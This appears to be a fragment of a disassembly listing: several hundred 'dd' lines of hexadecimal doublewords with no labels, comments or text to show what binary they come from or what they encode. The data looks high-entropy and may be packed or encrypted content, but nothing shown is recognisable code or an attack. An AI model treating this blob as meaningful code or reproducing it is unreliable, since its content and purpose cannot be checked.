		dd 0D4106CA5h, 0A1F99904h, 0D647B717h, 7F61610Bh, 0ACA35CA4h
		dd 6053C0B6h, 25EDF080h, 71545B61h, 2B600655h, 4525BEAAh
		dd 0A5CB652Ah, 31F4B35h, 84086D89h, 0A2523D8Bh,	12508ECBh
		dd 0C68045DEh, 2BC51B13h, 31B19D12h, 0B04BEAB7h, 7395C6D8h
		dd 7FDD024h, 654ED725h,	162392EDh, 9D31D11Fh, 2D587279h
		dd 9F2B583Ah, 67010937h, 8BC1B74Bh, 0E0754DCAh,	9D6F14BCh
		dd 97DB633Ch, 0DEE642Dh, 6BAD1B3Fh, 1EB3688h, 0A007F804h
		dd 80BEE913h, 0E1D5C3DFh, 0CAC06Fh, 0D2DF64E4h,	0CED966EAh
		dd 0B862EE3Fh, 526381EDh, 7B434F23h, 4404EE5h, 71D37D5Dh
		dd 0EE620044h, 5A2E8BDBh, 0C6039E52h, 357C2A59h, 0D7FD900Dh
		dd 0CD00040h, 1147298Eh, 5C12C375h, 90FE3073h, 176B53CBh
		dd 8BF73600h, 844472BCh, 576D03BFh, 248C2974h, 0EE3F3900h
		dd 5676419Dh, 1F2A7970h, 0A55DA1F2h, 7DDA89FDh,	0CC3B0168h
		dd 0A2F8DE00h, 0B414B2D5h, 0D0AC6F94h, 7A6E471Dh, 0E579ACD0h
		dd 0AB55ED03h, 0F069B2BFh, 7CF033h, 0A627F8B0h,	89114B8Ch
		dd 4647AA00h, 485DEA66h, 7FCD0061h, 7CABCA78h, 3900190Dh
		dd 67BB84E5h, 292D18h, 82A0EAD5h, 745873BCh, 0D9002676h
		dd 0E2690DB1h, 1D1C23E4h, 87CB2A0Ch, 0B04987A7h, 0C3B684AAh
		dd 0F2E77E30h, 81A1E5h,	774772BDh, 0BCEFC22Bh, 0A0008671h
		dd 0DC22735Ah, 0C05F21F4h, 0A40B5431h, 1900A525h, 0D17B3D2h
		dd 13D98993h, 2072B167h, 1D2B1177h, 9C6FA3Eh, 7F550560h
		dd 0CFB364C0h, 5E4CE261h, 0E6CC8B0Fh, 69170FBEh, 37206FBFh
		dd 8FA94E1Ch, 9CDF9F00h, 0D8C29709h, 1B53067h, 78523161h
		dd 7D5B4400h, 0D6370B2Bh, 0EEB94B85h, 4D5D610h,	1DB595B1h
		dd 8551E0BEh, 6F58A60Fh, 0E9B6003Ch, 5D98A0h, 0D7F39A65h
		dd 0DF715175h, 68587000h, 2707063Eh, 0A18824D6h, 0C4E29011h
		dd 40809FB3h, 30CBEB22h, 991F9A6Eh, 6286D48h, 93069C18h
		dd 0BC9C85BBh, 0E03E00EAh, 297B1FCCh, 773CD9E1h, 0C9C08028h
		dd 1E4694E5h, 35150031h, 4EA580E9h, 25017941h, 0B3741239h
		dd 49C464FBh, 810600C4h, 0E32428B1h, 0F005C1CCh, 1A7EE6B5h
		dd 656EC204h, 687F7849h, 0CAF291h, 0FEFAA880h, 0BC9A1145h
		dd 0C49F6700h, 5AABC7B9h, 5827001Bh, 0F3B8931h,	0CC00EAD1h
		dd 4AA3FFDFh, 202879h, 16312F1Bh, 0B081E836h, 0E27A6A24h
		dd 0BF019402h, 78808A89h, 0E5C41A00h, 760AB86h,	1B644A42h
		dd 567023C7h, 8821E2C1h, 923982A8h, 0E5CAFEC4h,	0B1045A81h
		dd 0F0B457CCh, 12829630h, 324E8E67h, 0E0A88058h, 1F901848h
		dd 3C0DDDE4h, 3681F147h, 1442E640h, 55650352h, 0C8EE3E09h
		dd 7D1DCED8h, 0DAE22F00h, 5B63AFF0h, 1FD40318h,	9860B5D1h
		dd 869B7728h, 0C7445100h, 0ACC95D13h, 0B7243h, 92D38276h
		dd 0F6F408C6h, 74003373h
		dd 47A6F740h, 0C46B7Bh,	4F9EFCDAh, 3907016Ch, 0D6F8E0C0h
		dd 3053662Eh, 0E640BFEDh, 6868D095h, 0DB00A70Fh, 14A16915h
		dd 3917C0ACh, 98F1CDEDh, 14FECF3Dh, 18A07850h, 0EB23C1B5h
		dd 0B4943BBBh, 257D4C0Fh, 0CEE002CFh, 0C497D63Dh, 2901C200h
		dd 8518EE9Dh, 277AA3h, 0B19FBFE9h, 8F0C58Dh, 0B4ABD60h
		dd 0E9CFE03Ah, 26CBF860h, 420FEDC8h, 0EE803B6Dh, 559E38A3h
		dd 86C3DD3Ch, 2D79CFEAh, 297A1D3Eh, 969500D1h, 0E507857h
		dd 53CDC201h, 7161F1F3h, 4EA4AD6h, 0A7004571h, 35431756h
		dd 1E3C6A00h, 304CA0DFh, 0C61354E5h, 0D0D90010h, 6ABB92E8h
		dd 890CB119h, 210CF4C1h, 97F79807h, 0EB9347F6h,	2B138700h
		dd 0C0F6FA4Eh, 4DA8F966h, 5300AFF8h, 8B0B2464h,	50604A88h
		dd 0F0BBC44Ch, 46F001B3h, 8C98C84Dh, 626924B1h,	0A91FBA0Ch
		dd 2AA4805h, 0BC241A59h, 0E641B893h, 3CB94067h,	0AC1E8FDEh
		dd 1B4A4741h, 3E80BD77h, 95F4CAF0h, 517B0156h, 54CCC30Dh
		dd 708A41A7h, 6E00C244h, 0E1D9C1h, 79714C9Dh, 530ED02h
		dd 0EEE03103h, 7E3B5CBh, 5CF4CEECh, 0E51C7087h,	0F37DCF18h
		dd 20BE4B00h, 439BBB90h, 12F8122Ah, 0CB550CD3h,	0FFF84836h
		dd 2DEEFD05h, 358610A5h, 2A7B1D18h, 87865B26h, 0EEE0BFF4h
		dd 507FFFh, 12634345h, 0D9BEFDCCh, 0B1E8F428h, 0C00AF148h
		dd 113E6E35h, 30CCE4F9h, 0D456CF39h, 0A2509261h, 0D1FCB29Ah
		dd 6B597304h, 0ACD40323h, 7045AA80h, 26A06088h,	0BFDBA8Bh
		dd 11000FD2h, 0B8FBDBF0h, 31BF00B4h, 3AAC1365h,	4D001517h
		dd 7D4F6A7Ch, 0CC8638h,	0EED92576h, 3E4298BEh, 0F82DAD00h
		dd 116C6857h, 9F7E0072h, 0C89AE237h, 0C7F8C2B2h, 847BE7E2h
		dd 0BA6AE600h, 4C588F82h, 27A94880h, 48E324h, 0E8C11D3Dh
		dd 0FA03F68Dh, 0D044FB12h, 4293D889h, 277908h, 98E9C9DDh
		dd 9FE1A846h, 217B202h,	800EAB23h, 0CCC9618Ch, 3377863h
		dd 961A39A1h, 7F00306Ah, 0B18DD1F8h, 0BA37658h,	0C6993EDDh
		dd 0C87F7109h, 0E8FA785h, 44BF292h, 0D31349E0h,	3409C31Bh
		dd 90C92063h, 4EE56BDEh, 0B540AB5Eh, 2E0574BAh,	16C99077h
		dd 0C0DAF2h, 0DF87CF98h, 3E1D8217h, 359D4DE4h, 0FB90F0Ch
		dd 1A6003BAh, 9A531598h, 0B03ECE96h, 3324C16h, 0B195B79Ch
		dd 2B0BE06Dh, 0A99D7h, 82E1C1CAh, 47007DAFh, 0BE106145h
		dd 197B791h, 99B39854h,	297269B5h, 0FFA4254Fh, 55604C17h
		dd 5E815D54h, 833D47C5h, 2C8760EDh, 52055C24h, 0C281E289h
		dd 0EA94101Dh, 14871906h, 2E8B8926h, 0B2634368h, 83E03CC3h
		dd 0CFC04ECh, 910FB9FCh, 0C105EBB0h, 8B5459CDh,	0C481248Ah
		dd 98EC902Dh, 67478F53h, 0A1512B08h, 57C181E1h,	0C106855h
		dd 1E34FF1Dh, 0E952F05Dh, 0FB7BC730h, 183D1900h, 0CACCC160h
		dd 0B8BA0978h, 0C47FB5D5h, 0BDF90134h, 8501641Ah, 0ED71ECCFh
		dd 9C538C00h, 0C9163E70h, 551D0044h, 11BD07F3h,	78724D7Fh
		dd 5CDA8C07h, 0C730014Ch, 74128E66h, 0A18201E7h, 413E1AD7h
		dd 4F7CFC25h, 987F3D00h, 0BB58D5B5h, 38900BAh, 3CCA60EAh
		dd 0C607F641h, 3F39650Ah, 0A511517Bh, 27DC5074h, 1A894EF1h
		dd 92409AF4h, 62E663h, 9517072h, 0D300FD4h, 0E943B709h
		dd 3377785Dh, 855E99EEh, 825B20BBh, 0D000F8A3h,	8AEF54F3h
		dd 53013DE2h, 626B8111h, 793D0489h, 30E1FBCh, 8BC58FF8h
		dd 96B5C1Eh, 4F552C39h,	560362B1h, 965F5CA9h, 7EAF16E6h
		dd 0DB71AE6Ah, 0C040FEBFh, 97EBB8CCh, 93E034CDh, 0CB06490h
		dd 0A58E3ABAh, 832FF958h, 6F805CC0h, 27DF192Bh,	0D91A5085h
		dd 76386AAFh, 58A0DC26h, 0ED9D6A80h, 0F726E022h, 2520E91Bh
		dd 0AC034FBFh, 0D9BC92DFh, 0D5FB3125h, 5EBF6682h, 0E959D4DCh
		dd 0B640F6EDh, 99B76FEh, 57877A4Ch, 0FF5F4E01h,	0F76E6FD1h
		dd 3A07DA00h, 0EEDBE049h, 45F5DF2Dh, 27711C69h,	9DD0ABDBh
		dd 76D027Dh, 26AD4C7h, 0B5B0457h, 0DE8A5002h, 0D889E7AFh
		dd 7558DDEh, 6950FD94h,	0DE8B3782h, 0F540D856h,	137EFBh
		dd 680CE233h, 599DDD76h, 0CF886F00h, 0E9BF9E6Ah, 0C5E79735h
		dd 98B8D608h, 1235C2DAh, 0BF38F395h, 7890DF18h,	64EA50D9h
		dd 0FCF78B9Fh, 1D00F6EBh, 0DF2BF3B5h, 95C7F511h, 10284F3h
		dd 0D084D8Dh, 15623F79h, 0E9F17EFCh, 0BD4CFDEh,	0FF6A76BEh
		dd 54CBEC4Dh, 0B7EF28D1h, 19E50082h, 1F4C7F6h, 85E9BBADh
		dd 6AF7F614h, 275A0262h, 0D88A00B0h, 0BD70E6h, 0E461F9D1h
		dd 2A599771h, 0C7B8FC00h, 0B9D307Fh, 5924EF4Eh,	36450252h
		dd 0B8F73D94h, 15BE1922h, 0B0DFC440h, 723600EFh, 90663FFCh
		dd 1B072FF1h, 0FA3ED861h, 1612A583h, 0FD0D8654h, 6CA8C097h
		dd 121C42C5h, 0BE5BF9C1h, 15798021h, 9D10891Ch,	8EC92075h
		dd 0D81682F1h, 10C924A1h, 1B705C10h, 0A8BF4001h, 7F800A2Ah
		dd 1352BC2Bh, 44F24774h, 4BF13D77h, 0B57CB180h,	0E7E8CA5Ch
		dd 0FADBE325h, 2D317CBBh, 394A2141h, 98092F74h,	0A9005FCFh
		dd 9CE98DCBh, 0B05514B7h, 9D0EFC16h, 0F1003DDBh, 0F45D6EC7h
		dd 9EB90027h, 39A8440Ch, 13958BF8h, 0C9761792h,	0E335BB03h
		dd 270CAF1Ah, 0DDA92988h, 0CC988696h, 13D2CD4Ah, 413E2D50h
		dd 85FF8DDCh, 0C99D0303h, 38C814A9h, 191BE4A4h,	85A5FA63h
		dd 0E71EFE1Bh, 0FABF01A2h, 8952314Ah, 6A5E4695h, 1CC4909Fh
		dd 449C00D6h, 0FFE08D38h, 4E0B8720h, 5383B611h,	3544082Fh
		dd 13C77C2Fh, 336EE20Eh, 0AAB5D86Ah, 6F737D0Ch,	47B9F503h
		dd 0DBFE850Fh, 0DDAEC00Ah, 24BC085h, 0BD33EA47h, 1ED42B71h
		dd 9C8AB743h, 0D9BF3CC0h, 9588905Fh, 7540B9D9h,	1D464968h
		dd 807FAFBEh, 0A4C69E73h, 0D3091BF1h, 54C02B44h, 5C3E0758h
		dd 92FE09BAh, 0C7FC9DF6h, 55BAE392h, 0B0164D1Eh, 0DA46A3A2h
		dd 0DC8554C8h, 7A45DE01h, 528F6566h, 410D0F20h,	0AEDD472Ch
		dd 93F02852h, 76777205h, 0E309EBF2h, 60737EFBh,	92D9D2Bh
		dd 7A93F3B7h, 6FC03FF6h, 0E03319A0h, 9CBE0FFh, 9D014754h
		dd 1A469355h, 0B32F250Eh, 8D3D6E57h, 3BF6088h, 0D32FD158h
		dd 1459DAh, 0EBDC32C7h,	250B694Dh, 0D3D8A93Fh, 0F99D16F8h
		dd 53E84E9Dh, 851F0CB9h, 0F3085127h, 0FF2900EDh, 1325D5F3h
		dd 0F6726000h, 98DCB955h, 428021Bh, 95C641ADh, 3D5174D4h
		dd 0CCB8110h, 1C2D5573h, 166D66B8h, 0A3AA44EFh,	0B5011436h
		dd 0E1FF1261h, 0B0E04CA6h, 1B5A1AE5h, 0FC16538Ah, 0A594A703h
		dd 11C361FBh, 3F3C214Bh, 8AE46828h, 8A9C807h, 5102B30Bh
		dd 5AF14E50h, 481F08A2h, 5AD780CCh, 60DDEB4Ch, 4A875C01h
		dd 0AA7B5F13h, 8C72847Bh, 5A00470Ch, 9E84391Ch,	0BB2611h
		dd 7A4EEEE8h, 60855351h, 0DB5291Ch, 0D4017C2Dh,	0C2FD175Dh
		dd 80938B84h, 9A0CC7DDh, 26049DF5h, 6EF11315h, 3BC1D91Bh
		dd 6A8F13BAh, 0A6196B48h, 21250BD8h, 0DB6B6B51h, 0CF0950BFh
		dd 1EE6506h, 255C4698h,	51FB03ADh, 0A6D2D9AFh, 760711B8h
		dd 0B97806Eh, 3DBD7DF8h, 0CFB24A00h, 1BC54BFh, 1F682689h
		dd 233E8846h, 51C600F5h, 8A60FB07h, 0E9D0019Dh,	0A345BF1Ch
		dd 2B5BF1F9h, 0F2E00AE0h, 0B63E4A97h, 7802E0E3h, 74F82482h
		dd 80722F54h, 5A11DBB5h, 23E974Eh, 8BC700F9h, 43798A74h
		dd 89F5250Bh, 1851A3DBh, 0DA001618h, 0BB90CAF4h, 5BA867DBh
		dd 3DC7E25Fh, 9B77AE66h, 76488509h, 725F6D7h, 16F16Dh
		dd 3B6BC8DAh, 3301948Eh
		dd 0CA2BA9BFh, 246A5B58h, 0D96FAB65h, 0B843B118h, 0BB5F472h
		dd 77BD5D82h, 0CD02DC92h, 5FB7FFCBh, 179186B5h,	8642D781h
		dd 0D3F3FC48h, 1626D110h, 3BC5F15Ah, 0B7859FA2h, 4B5AA8BEh
		dd 0E9960CDBh, 0F781C0E7h, 4BDB5662h, 44C0C279h, 930F5077h
		dd 0C0FF7ADFh, 0B3DD4B9h, 64FBCB25h, 8AC21C7Eh,	3AB72002h
		dd 527D2368h, 0C1BF3202h, 48356195h, 7C51DCBBh,	858D2DF5h
		dd 2FCF956h, 805D434Bh,	0D255B9DBh, 41D94104h, 3EEE760Ch
		dd 0A7B77002h, 5DCE4C90h, 5304F751h, 0B6615F44h, 42D0E0F8h
		dd 0E62CFEF9h, 5261B5BEh, 0FD8F2F0Ah, 7B878D5Eh, 0A6964FA6h
		dd 8E8CE0B1h, 0A4082767h, 1D2C6084h, 53272318h,	0B9952431h
		dd 0A35F963Dh, 0E25FAE72h, 0E5CF0057h, 0EF04329Fh, 1BE1003Ah
		dd 0BBFB2023h, 0F55A5B2Fh, 4C21448Ah, 50E573A5h, 115284EAh
		dd 7721C9D3h, 6140B66Fh, 0A4FF1B0h, 0A19CC92Fh,	7D909D6h
		dd 91C337D7h, 0FB11801Bh, 0F3511Ah, 818EEB87h, 6B9D13EFh
		dd 16526358h, 55A708BDh, 86A6DB5Bh, 20BCAECEh, 81020A99h
		dd 3F7453D3h, 2D967E42h, 2F6387Eh, 43BFFF20h, 0C0FFD7A7h
		dd 0B7164932h, 0F91223EEh, 0F4015396h, 505B8CF6h, 10DFE0C6h
		dd 5F7C3FC1h, 0AEBCD4DDh, 0E747BE02h, 5F4DBD33h, 65270752h
		dd 582A7C15h, 538130B9h, 3FA3896Eh, 0C2FE4624h,	65D7228Ch
		dd 58F1A3F6h, 0DD02B934h, 11E19036h, 70E5507h, 0D75AFD12h
		dd 0D73E236Eh, 0BE41F292h, 1B238C6Bh, 80D3A41Eh, 14B431Ch
		dd 3B57FB2Eh, 4F9B12Dh,	9D315084h, 5B2A42FAh, 88D460B3h
		dd 71AD7B2Dh, 68376B31h, 6421FE9Bh, 7074BF5Fh, 0BDA8AAEDh
		dd 7F33FE1Fh, 0B0BBE3C1h, 0DA2F0C25h, 0C01DC86Ch, 5C14FB1Bh
		dd 0A0F17B02h, 0C071FE0Bh, 0B7128519h, 0D418144h, 46414E42h
		dd 96004E1h, 0BB254585h, 1EBA698h, 0DB3812D7h, 0C0E06846h
		dd 0D005522h, 3E61C90Ah, 90DC7141h, 4B49B552h, 714CF25Bh
		dd 9E8F0F29h, 0D07F9A2Dh, 401F4105h, 964A3EC2h,	0F94B5072h
		dd 15B291F6h, 0C4A09E30h, 12030162h, 490021Dh, 0BBBF0F16h
		dd 612B7A62h, 396A296Eh, 38172E52h, 1EC6FFBh, 0CE710366h
		dd 0B0709B8Ah, 7762B75Bh, 0E3903F5h, 0BB51D7E8h, 0D9EA1D91h
		dd 0E4450024h, 4CD568C1h, 55BEC3Ah, 7FF73ADDh, 70F28F65h
		dd 4A7B3F03h, 0CF88878Fh, 6E178093h, 6BBB5AC0h,	0A0654F45h
		dd 986D8283h, 903847B9h, 48514C23h, 2D5D969Dh, 0E5B7023Fh
		dd 0A873F929h, 98D20D3h, 0E145FEC5h, 68A258A8h,	0E1095225h
		dd 912B5D51h, 0F7E99976h, 50008CB5h, 74CB6082h,	98CEB74Ah
		dd 53C6D82Fh, 10EDD0BCh, 116D8F09h, 72F68BDBh, 2D2348EAh
		dd 0BFF3042Dh, 0C1816F9h, 0E94ED009h, 25597EA1h, 0D5005837h
		dd 0A59258BFh, 8ACDA356h, 0D2667701h, 5D485BEh,	290C794Dh
		dd 5D44FA0Eh, 66B9FE8Ah, 28C19ACh, 4B88BB06h, 0EC757E8Fh
		dd 88E87E57h, 760BBF2Eh, 44CA07AAh, 0B0930F9Fh,	5040B4F3h
		dd 5942704Dh, 487DC600h, 734BACD5h, 0F9D62D13h,	947E30FCh
		dd 0AB5BC4D6h, 0B0AF7184h, 29581E8Ah, 0F6A44B47h, 614CBD8Eh
		dd 0A62DF697h, 0C500DEE3h, 1607866Bh, 58A50F6Fh, 4225851h
		dd 55F3ADA0h, 0D66A5F2Fh, 3316124h, 78DD3E2Ah, 84A9DE20h
		dd 0C7CFD680h, 1A28549Dh, 48F71B09h, 38FC39Fh, 506FAC5Fh
		dd 87B173BFh, 0AA9E5460h, 8D822420h, 0B19A0032h, 11271CA8h
		dd 3F6B64EDh, 0B464D4FEh, 8085AC9Fh, 41EEA554h,	1A3B6B81h
		dd 32562A62h, 323A24E2h, 0DB2DAB56h, 0D88AD0E4h, 0D116211Ch
		dd 110CC5E5h, 0A6E84E68h, 26A8073h, 0FCC3F4A0h,	63908F25h
		dd 5647D458h, 98C0195Bh, 904998E8h, 13E8BCF1h, 0B8F99DADh
		dd 0DB01AAF0h, 3CC4BEADh, 3D9682F7h, 5CC8E9C1h,	44D97103h
		dd 0BCDEADFEh, 5A0B025Ch, 8EC80718h, 0CD92097Dh, 423CC2CDh
		dd 0CDF63ADFh, 0EAD26489h, 0CDE0DA61h, 0B2038823h, 33346BC3h
		dd 0D95CD2D8h, 81827A27h, 5F9002E2h, 314B891h, 2E5D7803h
		dd 194CD8E3h, 0FDF30007h, 0F15EBDA5h, 2A059F8Dh, 0ECB74517h
		dd 230F3FBFh, 0EB5A1214h, 21B5BBD8h, 746B2BC9h,	7B092F9Ah
		dd 91AC35DDh, 84718515h, 95DEFDCCh, 9548DFEh, 22499D89h
		dd 7BFFE911h, 90EDE83h,	2CC5B595h, 1C51687Eh, 0F0D78111h
		dd 7825B64Fh, 1F30F5B0h, 1640E98Dh, 807002E6h, 71E447EFh
		dd 64B8A58h, 0F3B822AFh, 2D758A98h, 95D3C4B7h, 0F09F23FAh
		dd 3DB1953Bh, 81E57856h, 27C2F04Bh, 0F32F2C4h, 0E5FC0D9h
		dd 0DB1A2521h, 8DC3DE78h, 26757C12h, 9DF930BBh,	0BD861B31h
		dd 92D82693h, 816C923h,	3CE9CF46h, 44E0F8D2h, 5ACA5B9Fh
		dd 74AFE131h, 0A8296768h, 2F728194h, 0D0852985h, 25E5942Ah
		dd 0F03C0CF1h, 83CDDB95h, 153D9D2Bh, 0BF5B4D22h, 0EA23A904h
		dd 0C600CBF3h, 30B4E1BDh, 110E5BB8h, 84242739h,	33B8684Ch
		dd 8550B8D3h, 8DBEA369h, 0E4D07F4Dh, 4BD9BD33h,	1C44980Eh
		dd 0F9895D8Ah, 0BB01415Bh, 31D7B5B9h, 0E301D492h, 28CD4A3Bh
		dd 0EE0444E5h, 8325FF6Eh, 87ED4105h, 0CA1A2BD6h, 3A26475Ch
		dd 0D135D7A5h, 42601913h, 1E8EEE28h, 251EC9D1h,	0CB03EC51h
		dd 0E8D015B6h, 0E77219Bh, 0DAA33F5Fh, 70973467h, 31B917B3h
		dd 0CF8031C2h, 24585C0Ah, 0B1991B08h, 559D0E3Ah, 44DA2EE0h
		dd 0E0CE1988h, 88CD4102h, 0EE2B4B3Dh, 386BA020h, 4970001Ah
		dd 416FC8BEh, 0A04B11B0h, 0EC4C458Fh, 6689FFD2h, 63B84D69h
		dd 0A176940Bh, 30187DD6h, 51B87AB3h, 252DDA97h,	6453880Dh
		dd 70657FD8h, 3F70029Eh, 20C7804Ah, 652FCDDFh, 38649816h
		dd 11AA912Eh, 0E42FAD29h, 591D011Bh, 80AFF9EFh,	2E5FED6Ah
		dd 68FCCDBDh, 0C0E4B725h, 8A2EE5E1h, 0A1564556h, 0DE6E0924h
		dd 0ECAC712h, 811DB750h, 75CC09F3h, 4C71320Ah, 86527944h
		dd 813973EFh, 0CD4F07EFh, 0E50AB80Eh, 721101FCh, 9554E1DDh
		dd 0C89D6FF7h, 33B1A166h, 990EF07Ah, 1BED135Fh,	95DCE125h
		dd 7DC0C740h, 10F49D92h, 97BB6007h, 842F5612h, 0BAD2D9C4h
		dd 50885C61h, 7182043Ch, 6865A593h, 0D8AE4412h,	3000FA33h
		dd 4CF61BCEh, 32EC3C7h,	0A0648069h, 96E3AEC4h, 785CD8C2h
		dd 0EA15E951h, 0D29C7C1h, 0B13C0A05h, 0F65E3F53h, 8B13E009h
		dd 34AC0290h, 12F19509h, 73C9795Ch, 82BB5824h, 4AFE694Ch
		dd 20EA6FC4h, 0A1D80A18h, 51C3E009h, 695C727Ah,	6DD51CF5h
		dd 72DC370h, 26F6AA8Ch,	7EC0E35Bh, 568DDE4Bh, 790D9FCh
		dd 8A5063B7h, 784D69DDh, 804D3AC0h, 251A94F7h, 39DC3C7Eh
		dd 0A2819B4Bh, 0C7D1E415h, 805F288Eh, 5AF05386h, 0D67695DFh
		dd 3BF96750h, 5B00A777h, 0BE1DF668h, 0DE4A8A04h, 1E09B980h
		dd 342AF3A1h, 6F648C80h, 8149FD00h, 5212E173h, 360B974Dh
		dd 4F64B74h, 0CDBA35ACh, 0ADB4AA89h, 3FFE41E9h,	76B99480h
		dd 85044B29h, 0B89EEA38h, 2737A8C0h, 0A90984C2h, 5CABC5A7h
		dd 3BCD0909h, 0C1A53271h, 9D6F1A86h, 5FB92E82h,	31267A9h
		dd 8D84663Bh, 6A81FD74h, 89000D49h, 0DBBDF906h,	87D35A40h
		dd 8B87BF04h, 0E09B86E8h, 2E389CD9h, 0BDD21911h, 2ADE82Fh
		dd 0F98B84B7h, 98C4F750h, 77FCB527h, 2B214C0Ah,	651E7869h
		dd 0AC5A3707h, 0E296FB46h, 2DDD4DC6h, 2A1FC94Ah, 66BCD8EDh
		dd 74602E2Fh, 399A0BD9h, 8EC088h, 48344386h, 0D93A8061h
		dd 0E36807B5h, 57C9588Dh, 0ACC03210h, 0E649847Ch, 8E1C0494h
		dd 0B6BB4347h, 4DEFB0D8h
		dd 0E48D64A5h, 0AC7A94F1h, 7AAF4B72h, 771E25B9h, 0EA90ED91h
		dd 0E140AE5Eh, 0B59F343h, 56BAAE75h, 5F122350h,	82ED905Bh
		dd 6A01D6B8h, 0B7DBA78Fh, 55DE50D1h, 145130DBh,	2FBBD358h
		dd 94D69589h, 6F9B6193h, 0A86EEC85h, 16E7D4DFh,	0B3F90AEDh
		dd 0A8FBA9B4h, 646721AAh, 93242D66h, 7D47D0EDh,	0ED1A9F1Ch
		dd 209B4AC1h, 66101FE9h, 344BCEBBh, 0F5D53AAFh,	85A87AB9h
		dd 7D7EBD12h, 8C8413AAh, 84E3D8Ch, 458823A3h, 39867Eh
		dd 3949E91h, 0ECD380DFh, 1598E9A5h, 9C78161h, 7088297Ch
		dd 0B2D34989h, 129DCEF0h, 128C8D0Ch, 0B92DBB7Ah, 0F4B80C29h
		dd 59A6D3B5h, 1F236617h, 4D974876h, 3CB73ECh, 0F42F6B5Eh
		dd 6D4DC0B8h, 0EA0094D7h, 0FCFE7CE4h, 9543BA0Bh, 5BA7E2F3h
		dd 0DC645018h, 4A8D538h, 3317E81Ah, 75F38080h, 5B71D96h
		dd 0F4123150h, 0B4622E30h, 0B8CD57FBh, 64611C64h, 0A98AF006h
		dd 0D017D17h, 7FA547C2h, 0B109DDCAh, 82933DF5h,	0B870F7Ch
		dd 718CCB2Eh, 320802C5h, 0D35C6078h, 50AE5BE9h,	0D002361Dh
		dd 70F61C8h, 0E27959h, 4995EE71h, 0CA056BE9h, 0CD8D31ADh
		dd 7D841D94h, 0A74BEBACh, 7EADA0F5h, 9BBB50EDh,	2DDC9C91h
		dd 165961F3h, 0AB739918h, 7FDB789Fh, 0DCC194C2h, 8AC90A09h
		dd 0BD1C78F9h, 600FAB7h, 22C0662Fh, 0A9352D95h,	0B35F6FE2h
		dd 8EDE9BEh, 0BDA85B0Ah, 18756ACBh, 0DDB1D8h, 0DE8E253Eh
		dd 0FB623912h, 712B7D09h, 0CB807E06h, 8712C990h, 81B91014h
		dd 0AE1F3991h, 572D9C89h, 0EF5F5009h, 0E8C6E5AAh, 423D80C7h
		dd 39B39A64h, 0F70534A9h, 0BAB6D0A4h, 71EEE452h, 4125D09h
		dd 359DA705h, 2816DE0h,	0A03377DBh, 80985002h, 5700D7D6h
		dd 916F9890h, 13937217h, 0BE04B455h, 0A5A6C453h, 7FFFC5E0h
		dd 5A3E3804h, 0E6AB485Dh, 0B092F1Eh, 0D8355D16h, 29E23DACh
		dd 512B5ED9h, 0BD7FC25Eh, 7202388Dh, 968D4B56h,	1B60025Eh
		dd 178251h, 0A305696Dh,	504F0898h, 2A04BB02h, 0F496105Dh
		dd 0DC00DC49h, 7D3D5CD6h, 24786CCDh, 0E440FDFCh, 9489FB09h
		dd 29D97441h, 1D253823h, 2FBE14E5h, 0B7D622C9h,	69175EDEh
		dd 0C5259DD6h, 9C291610h, 3F007AA5h, 0CC6D6014h, 97B94136h
		dd 0D9091699h, 0C64392A5h, 0E154321h, 45251FBBh, 75F2907Ch
		dd 47032FB5h, 98ACE0A4h, 0E603D0B7h, 6CE925C7h,	0BD0BD8C0h
		dd 0CA2B1D25h, 1FC6DCB7h, 96C6A5D8h, 0E3F3F84Fh, 6F650600h
		dd 0BD72B164h, 5DF692BFh, 0B19C9558h, 0D45709DCh, 6AD75DCDh
		dd 0E55D6D04h, 8444BEBFh, 0CA1B2595h, 6EEBD7B9h, 0A512046Fh
		dd 0DF3CE4FFh, 4F5BD575h, 414DDAE0h, 0EAC26F32h, 0BB532007h
		dd 0CF25FB7Fh, 56E8CA3Fh, 324EDCB0h, 0BEA534EAh, 0D2F5E4C8h
		dd 8198DB06h, 97A6670Ch, 0EA966379h, 0D9D604DAh, 0A48B4091h
		dd 290BD6CFh, 7E08ADB5h, 495B5A1Fh, 0A7FC7B51h,	4C899F7Eh
		dd 0F4486F70h, 0F9D127FCh, 0C6300F7h, 0BB91AC1Bh, 0FD145609h
		dd 6816DF50h, 0D7A77F5Eh, 84D71CB2h, 6A050AD3h,	0F06EFF02h
		dd 0D0A69609h, 125F7809h, 2679D471h, 0DC8EA64Bh, 0DD041C46h
		dd 0AFA71F97h, 4C4DE2E0h, 25207409h, 0C703E925h, 169712BEh
		dd 0C0BFDB97h, 9223ED56h, 9D9B987Bh, 0C524F537h, 0C073EE0Fh
		dd 815114A1h, 0FD9B3BC7h, 6B749777h, 21C5B5C2h,	23810F90h
		dd 50671769h, 15A8F88h,	5DC50970h, 89205619h, 72FFB72Eh
		dd 0B3539772h, 12EE87D8h, 0E114A9D3h, 0BA7E7E8Ch, 0AA3B0700h
		dd 0A00CBAEAh, 1AEE9C0Bh, 59B05D8Bh, 0E01EBF66h, 33C26AD0h
		dd 0C42F49BDh, 2D353B6Bh, 39208D40h, 25F59004h,	81C51261h
		dd 0A14F2111h, 2FBC3B28h, 1CA3DF2Ch, 0E6022011h, 318D2970h
		dd 384EF712h, 0B36B0145h, 82186828h, 0E5BA2B44h, 84012B0Bh
		dd 0FA84BB66h, 0C2B3E82Ah, 5C3DBD29h, 85016068h, 818009A9h
		dd 34A709D7h, 6E707190h, 9925DA98h, 8498591Bh, 125642CFh
		dd 8A6DCF0Ah, 5CAFE989h, 4FA6E02Bh, 7B00428Ah, 5CE3DA6Fh
		dd 1814C78h, 0B0EC698h,	78D286FCh, 110425C2h, 0CC2A2D8Eh
		dd 22F32396h, 99A44A3Fh, 2BD2385h, 4E762411h, 0A090AC80h
		dd 8DFD4Bh, 5C34F6D3h, 0A55B9C1Bh, 459D0918h, 0D24FE96Dh
		dd 0B317522Dh, 0CB0F3C7Ch, 5CFC4D92h, 4A36446Ch, 1412CC52h
		dd 6EAE70EFh, 7A002FAAh, 47BCF338h, 48AF105h, 7F76BAF4h
		dd 8585B95Bh, 0B8103AB7h, 31BDC285h, 59657702h,	8753BC09h
		dd 39E0811Eh, 5666E825h, 7200BD6Ah, 8E92DC2Bh, 5F0F4E4Dh
		dd 47AB618Ch, 0A40152D7h, 47D986BBh, 5C12B745h,	0FC4A7FB7h
		dd 405D38CBh, 436AFB8Bh, 0F8B961AEh, 0C9BFE302h, 5D50AC49h
		dd 28D149D3h, 67C1B954h, 0FC02123Dh, 0A537DDh, 8516FD2Ah
		dd 8D09CA4Bh, 7584546Ah, 0BB042DE4h, 16B7EB09h,	63943CACh
